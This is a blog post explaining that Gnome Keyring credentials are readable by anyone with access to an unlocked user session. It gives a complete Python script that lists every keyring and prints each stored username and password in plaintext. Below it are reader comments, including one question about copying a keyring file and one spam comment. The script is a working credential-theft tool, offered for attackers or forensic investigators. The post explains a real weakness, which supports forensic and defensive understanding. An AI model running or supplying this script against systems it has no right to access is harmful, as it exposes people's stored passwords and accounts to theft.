Pages

Sunday, July 15, 2012

Extracting Gnome Keyring credentials


Gnome Keyring is a (good:) daemon that stores different security credentials encrypted in a file in the user’s home directory. It uses the login password for encryption, and after the keyring is decrypted at logon, the password is no longer necessary in the current user’s context. An attacker/forensic investigator can easily extract specific credentials from the GUI application (Applications -> Accessories -> Passwords and Encryption Keyrings), without being prompted for anything to authorize him.
Gnome Keyring does not protecting against active attacks (when the attacker has access to user’s session).
The analogous application for KDE is KWallet, working by the same principles. There is a python binding for this too.

Script for dumping gnome keyring credentials:
import gnomekeyring
 
def extract_keys():
    ''' Extract the usernames and passwords from all the keyrings'''
    
    for keyring in gnomekeyring.list_keyring_names_sync():
    # Get keyring name - "Login" is the default passwords keyring
        kr_name = keyring.title()
        print "Extracting keys from \"%s\" keyring:" % (kr_name)
        
        items = gnomekeyring.list_item_ids_sync(keyring);
        if len(items) == 0:
            print "Keyring \"%s\" is empty\n" % (kr_name)
            # If keyring is empty, continue to next keyring
            continue
        
        for i in range(0, len(items)):
            # Get information about an item (like description and secret)
            item_info = gnomekeyring.item_get_info_sync(keyring, items[i])
            description = item_info.get_display_name()
            password = item_info.get_secret()

            # Get attributes of an item (retrieve username)
            item_attr = gnomekeyring.item_get_attributes_sync(keyring, items[i])
            username = item_attr['username_value']

            print "[%d] %s" % (i, description)
            print " %s:%s" % (username, password)
        print ""
 
if __name__ == '__main__':
    extract_keys()

8 comments:

  1. As I'm really not familiar with this, do you know a way to access an encrypted copy with this API? (of course I know the passphrase, I'm not trying to bruteforce it)

    # cp -R ~/.gnome2/keyring /var/tmp/mykeyring
    # someScript /var/tmp/mykeyring

    If you do, you would save my life: http://askubuntu.com/questions/217709/is-it-possible-to-import-a-keyring-to-another-from-its-binary-files

    ReplyDelete
  2. Thank you for sharing such a informative information with us.
    Clear Frame Glasses
    Punk Goggles

    ReplyDelete